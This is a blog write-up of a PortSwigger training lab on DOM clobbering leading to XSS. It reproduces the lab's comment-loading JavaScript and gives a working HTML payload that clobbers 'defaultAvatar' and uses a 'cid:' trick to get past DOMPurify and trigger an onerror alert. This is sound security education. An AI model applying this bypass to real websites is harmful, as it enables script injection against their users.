Exploiting DOM clobbering to enable XSS | Jan 14, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting DOM clobbering to enable XSS! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★★☆☆☆☆☆
Background
This lab contains a DOM-clobbering vulnerability. The comment functionality allows “safe” HTML. To solve this lab, construct an HTML injection that clobbers a variable and uses XSS to call the alert()
function.
Note:
Please note that the intended solution to this lab will only work in Chrome.
Exploitation
Home page:
In the home page, we can view other posts:
And we can leave some comments!
View source page:
[...]
<h1>Comments</h1>
<span id='user-comments'>
<script src='resources/js/domPurify-2.0.15.js'></script>
<script src='resources/js/loadCommentsWithDomClobbering.js'></script>
<script>loadComments('/post/comment')</script>
</span>
<hr>
<section class="add-comment">
<h2>Leave a comment</h2>
<form action="/post/comment" method="POST" enctype="application/x-www-form-urlencoded">
<input required type="hidden" name="csrf" value="kHBcFRVLJKJsiUEmCWZj4eAKbm4AY16B">
<input required type="hidden" name="postId" value="7">
<label>Comment:</label>
<div>HTML is allowed</div>
<textarea required rows="12" cols="300" name="comment"></textarea>
<label>Name:</label>
<input required type="text" name="name">
<label>Email:</label>
<input required type="email" name="email">
<label>Website:</label>
<input pattern="(http:|https:).+" type="text" name="website">
<button class="button" type="submit">Post Comment</button>
</form>
</section>
[...]
As you can see, the post page loaded the DOMPurify JavaScript library, which is a XSS sanitizer for HTML.
It also loaded a JavaScript file called loadCommentsWithDomClobbering.js
, and calling function loadComments()
with /post/comment
argument.
loadCommentsWithDomClobbering.js
:
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
firstPElement.innerHTML = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(divImgContainer);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};
Basically what this JavaScript does is send a GET request to /post/comment
, and then stores all the comments to a JSON data. After that, display all comments.
However, it has an interesting thing:
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
This defaultAvatar
object is using an bitwise OR operator with a global variable, which is a dangerous pattern! This can lead to DOM clobbering vulnerability!
If we can override the orginal defaultAvatar
object with an anchor element, we can inject some JavaScript!
Also, the post comment functionality allows HTML!
Armed with above information, we can try to override the defaultAvatar
object:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='"onerror=alert(document.domain)//'>
This will override the defaultAvatar
object avatar
attribute’s property to alert(document.domain)//
:
{avatar: '"onerror=alert(document.domain)//'}
Then we need to submit a second comment, which will then uses the newly-clobbered global variable. This should smuggle the payload in the onerror
event handler and triggers the alert()
.
We successfully clobbered the defaultAvatar
object, however the "
is URL encoded. Why?
This is because it’s sanitized by DOMPurify:
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
Luckly, we can bypass that.
In DOMPurify, it allows us to use the cid:
protocol, which doesn’t URL encode double quotes.
That bein said, we can inject an HTML encoded double quote that will be decoded at runtime!
Final payload:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='cid:"onerror=alert(document.domain)//'>
Clobbered the defaultAvatar
object:
{avatar: 'cid:"onerror=alert(document.domain)//'}
Let’s go to another post to override the defaultAvatar
object!
It worked!
What we’ve learned:
- Exploiting DOM clobbering to enable XSS